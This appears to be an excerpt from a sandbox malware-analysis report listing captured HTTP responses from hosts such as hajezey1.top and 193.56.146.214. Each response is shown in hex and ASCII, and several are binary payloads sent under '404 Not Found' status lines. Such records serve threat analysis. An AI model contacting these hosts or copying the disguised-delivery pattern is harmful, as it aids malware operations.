f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 7Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 03 00 00 00 1d 3d 5d Data Ascii: =]
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 42Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:02 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 37 33 33 0d 0a b8 00 00 00 c7 1a b3 fa 05 54 a4 5f 28 1e c5 73 c8 bb 6f 2d ae 22 c0 a9 8f 89 bd 2a 1c 21 f8 64 eb 16 a1 85 cc be 11 ce 58 26 9a 05 1e 5c c6 c1 69 3a 30 5b 9b c4 28 c2 ef 63 ab b5 4a e8 89 6e 9c 3d f7 c6 fe 06 43 1d 42 b0 fa b9 17 9d bc 30 e1 7d b4 71 0c f3 55 ca a6 9d 45 22 ea 9d de 0a 6c 39 20 12 7c 4b 07 4c f2 97 87 24 3a c2 ff e2 61 c9 ff 82 3e 8d 64 f6 2c 24 84 19 bd fa 7b 18 4f ce fd ab 1c f3 bb 9d 70 2b 2b eb ec 0b b0 37 d1 d7 3d 24 bb 29 51 24 7c 4e e0 35 9d 11 e0 42 10 5e 4d 2f 68 41 22 93 01 8f 26 1e 4b e8 70 6a ed 03 43 fd b3 0a b8 09 cd 31 c3 31 00 76 26 05 00 99 e1 70 64 01 08 02 00 05 00 9c 03 00 00 8f 53 a0 cd 6b ff f3 42 ef be 5f a6 0b 12 1e 00 fa 2d 5f bc 60 48 43 c4 3f a0 d1 42 cb fe 22 d0 1e 94 d6 c5 1a 29 6e 08 cd c8 2d c7 4d 7e 61 df 49 1a 97 84 14 51 2c 4c e4 c5 d6 02 94 b8 c5 49 53 0d 5e 82 e6 83 ab 8e 62 c5 9d 46 0b a0 aa 3e c7 fd d6 bc a4 ad e8 3c 50 ba e0 3c fe e9 66 4d 4e a6 6b ea 3a 3d ce 29 2a 37 e9 6c 89 d6 f5 15 31 cc 37 72 61 7e 22 b0 24 77 36 7c 4e 6b 9a aa 32 ae ff ad 7d d1 69 71 5e 52 c5 cc 89 d6 bb fa 1e 30 d1 95 9d 4c 69 ee fe ef 04 01 d8 3e 1b 87 e4 46 c1 6e fb 21 19 c0 a0 dd 94 37 60 40 b8 71 82 cf 26 ba ba 93 8d d0 d2 c2 59 ae 5a 2b f1 dd f6 78 90 66 b1 4e ca f3 88 94 76 73 aa 67 95 39 13 f9 1a 7e db 59 b0 5a be ea a7 57 2c da 41 2f 3b 44 99 a6 d1 e3 ae 5d 44 1c 04 12 87 6b 36 97 f0 39 ba 17 30 82 22 5d 97 9c 25 f8 0f 01 a5 f3 47 51 4b c6 6c ab e9 ee 5b 16 36 f0 62 25 02 ed 05 a6 10 4e c2 e6 19 fe 62 4e c5 5b d6 25 26 c8 0b 8d ec 99 23 41 05 8c 38 bb 0c c3 e8 42 32 14 41 b7 83 9c af 9a 27 3e 5a 59 7c a3 5e ee 1c 9c 12 fc 53 8b e3 c9 3c 9d f9 b6 c4 e6 9f 86 54 45 f9 ea dc e7 d2 62 dd f4 b6 fc 61 49 d6 3d 2d fb 53 9e df 18 af 5e 30 3d 56 2a 0f 38 20 a4 0d c3 98 c2 87 1d fd 7b 76 27 90 ad 0d f8 1c 82 12 74 be 06 e5 be c0 91 3d 8d d9 76 35 3a 86 ce 8b 57 89 6b 9e 6b 94 4b fe 6e 7b 84 16 f5 b4 5c b4 8f df 2a 68 2b 33 43 0b 6e 60 35 e6 3b 93 c5 fd e6 62 80 69 e2 92 79 02 9e 47 77 90 92 90 52 4f cf 29 e7 8b 19 b7 16 d5 1a 92 65 37 c9 26 3c 17 27 bd 55 08 ce c3 07 7a 53 f1 6f 43 0a 86 a0 32 60 f8 0d f1 24 e9 e4 c0 fb cd ae cb cb 6c 00 9c ef 2f 87 07 95 d6 a2 32 a9 f4 6b d7 2c e8 2c 27 c2 b7 00 ef 75 ec d5 58 86 2a ad a4 97 43 9a 52 8f 28 e9 1b ce e1 d3 d0 78 92 a0 ab 1e e0 dd 3d cc e0 5a 14 90 1d 7d 10 44 b2 b1 04 a8 db 37 c3 a1 bb 3b 1c f8 3e 56 ed 73 dd 7d b0 6b 95 36 fd 00 c5 00 b0 6f 9b 2b 71 fb 79 82 a6 e1 23 c2 b9 8a a8 89 62 ba 2d 12 c6 52 d3 b1 97 b5 64 20 e9 05 e7 b4 dd e7 89 3a 3b a5 25 ec 86 96 39 8e 21 04 ab 93 4a ec 81 e7 55 81 50 94 e0 5b 5b 40 17 8f ac 1e 17 68 a5 e6 f4 09 11 8f 34 77 8f dc 57 87 c9 7d d9 e7 6b 23 6c 4e d0 db 94 61 ae f2 5c 36 c5 15 c9 a7 a3 39 4b 2b 05 81 e2 8b cf fa 08 90 e8 55 0c 8b 78 14 91 04 c2 44 ed b6 c6 17 7c 82 6c 40 c6 ec b6 91 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:03 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 39 33 38 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 1d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 85 a5 24 d1 ee 12 d7 a8 78 27 4c 76 46 ea d6 2c 43 64 1b 67 c4 62 1c 74 29 44 86 43 af 6f a0 68 8a 59 6d 82 4a a7 cf 1f c6 a3 13 69 4a 24 b3 ea 27 63 13 57 70 50 68 6a 3e e0 2f 7a 70 79 23 e3 d8 2f 09 13 72 9b be 7c 42 bf 19 de 6c dc 13 55 70 53 0a 46 17 7c e7 ba 3f dc 9e 2e c9 81 e8 ce 05 4c c4 c1 52 3a 54 6b ad 87 f9 07 87 d6 41 c9 b0 26 1c 94 30 99 7f 5b 92 2a 93 5b af a8 98 7a bd 0b e2 a4 22 3e 1a 20 cc cc b6 ca 21 af ad f5 31 a1 a3 cf 37 1f 5a eb 3f 5c c5 74 59 90 8f f5 06 b6 0e cd 9a df a5 61 69 fd 70 12 70 df ce 22 db e0 ab ab b6 2e 08 8f ff dd 4c 76 20 e1 ff 38 5c 3f 0f 83 d0 20 38 ba 60 bd 59 22 09 79 53 40 98 e3 94 54 f0 2f 60 43 8c 47 f0 86 f8 fb 34 6c 1f f1 69 d5 92 4e 76 8c 96 bd 4a 16 e9 37 a2 55 6b 5f c7 ae 4a 88 54 d9 4e 3d b6 7b 93 fe 88 2c 93 7e 87 12 75 d7 9a db 05 a9 46 75 18 c7 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 69 4f 44 88 fe 40 0a 5c 69 ba e8 33 74 16 00 89 12 1e 0d 63 bb 9c d4 46 d1 64 3b df d5 af 2b 02 57 d3 db 53 3d a0 c3 96 8b 7d 64 17 9a f7 3e c2 56 75 1b e2 95 15 f7 bb 2e 64 35 e2 26 2c 74 a4 34 54 05 91 5f ef 6c 05 23 8f f5 4a b0 de 7f 0d 6a f3 d8 90 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 92 d6 ea 8c 11 7d 72 d7 6a ab c1 39 e2 23 13 96 c4 66 d1 30 80 06 10 b2 9c 78 c6 58 43 f6 e7 2a 92 72 08 aa 14 21 52 ff f3 53 5d b5 78 3d f1 24 a0 e9 37 7f 3b 60 ff f1 ee 71 c0 b6 4f 4d bb 75 4b 53 06 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 d3 03 e8 e9 32 2c 0d 90 db 4f f4 47 d3 1c 4c 93 19 c0 0d 04 7d 76 88 52 8c 2a 01 6e fe ca 39 52 41 cc 35 5f 27 89 98 4c 28 48 94 14 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 a1 95 87 04 7d 32 7d 42 02 42 39 ad d5 d3 3c 86 63 55 cd b7 fb 29 6d da 0a 1e d7 09 07 99 cb 23 5b c4 b5 b5 5f 7c a9 84 79 89 b1 39 ec 06 88 45 fa e6 58 a9 e6 e8 4f 67 2c 5e db 50 c7 95 e6 d8 99 0a e2 4c c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 76 ed f6 4b a5 53 52 d2 c5 d4 d1 79 5e 67 ad 6d 11 b0 c0 db 31 a0 29 77 31 ac b2 03 07 1e 17 76 28 bc db 58 67 4b 5b 67 c2 3f d3 78 d9 f8 1f ba e2 50 11 3b ec 5f e0 3c c7 4b d4 50 b0 20 e1 1e 34 ef d3 2e ac 9c d8 f7 0d c2 23 af 38 15 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 6c 1c 9d 89 05 4d 99 2e b4 58 13 86 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:04 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 4d 9c 94 1b 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 a6 4d c5 03 97 65 a3 61 7e de f5 36 9c 19 17 7e 4f af 9a a5 84 cb a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 31 70 48 9a 07 fd ec 3f 36 7f ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 c5 52 ce 4f 13 79 82 ae 9c f7 ad 4e 3d 79 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 10 d3 fb 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 02 ed fd 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 44 40 40 07 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 40 22 b5 1b 6f d3 cb 29 32 86 e5 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 5f a0 1f e4 a6 bd 12 9f 10 ff d9 b0 99 b5 9b 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb d1 46 bb 2a d2 be 45 1f d0 b5 aa 7a 8f 0e 69 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b3 88 7d 3f dc e5 7e 3f a4 70 d4 03 bb 03 9a 76 6a 0f ca 82 c3 26 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 08 85 af 88 c1 a4 0e 31 25 4d db a9 c3 f8 cb 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:05 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:05 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 34 30 30 36 61 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 9c a2 ae 7a b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c af 3a 05 14 a5 5d ef 3b f3 56 72 bc 3d 1a 04 b2 50 2a 87 d6 17 8f 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 d8 9d 1d b3 9c 88 8a 38 22 7a 6d 2e e6 2a 7e d7 3f dc 9e 2e cb 81 a8 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a 95 5f 97 a6 75 3e 1a 20 8c a3 b0 ca 79 f7 ad f5 31 61 a4 cf 37 1f 1a eb 3f ae c6 74 31 8c 8f f5 03 96 0b cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c 3b 4c f9 10 e5 ec 9a db 25 2f 45 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 ec fd 05 89 52 de 0e 63 bb d6 d4 46 d1 f2 38 df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 31 e2 08 5a 11 dc 40 b4 06 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 5b ab 10 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 68 1e 11 b2 18 4c c1 58 40 f6 e7 2a 33 72 08 ac 78 ae 53 ff 0f 71 5f 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 1c 5e 68 fc b5 2c f4 47 1c 3f 4d 93 1e 60 70 06 72 52 89 52 93 3e 09 6e c1 ca 39 52 3e cc 35 5f d8 89 98 4c 97 49 94 56 ef 01 37 e2 41 44 f0 8b 65 48 8a 76 e1 41 84 8e 71 b4 0d 16 5e ea 87 04 82 cd 7d 42 fd bd 38 ad 2a 2c 3f 86 9c aa ca b7 04 d6 62 da f5 e1 c8 09 f8 66 f4 23 a4 3b ca b5 a0 83 56 84 86 76 4e 38 13 f9 77 46 05 19 a7 ae 19 17 b0 68 d3 a1 24 4f 38 6a 19 e7 66 f5 1d 33 c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 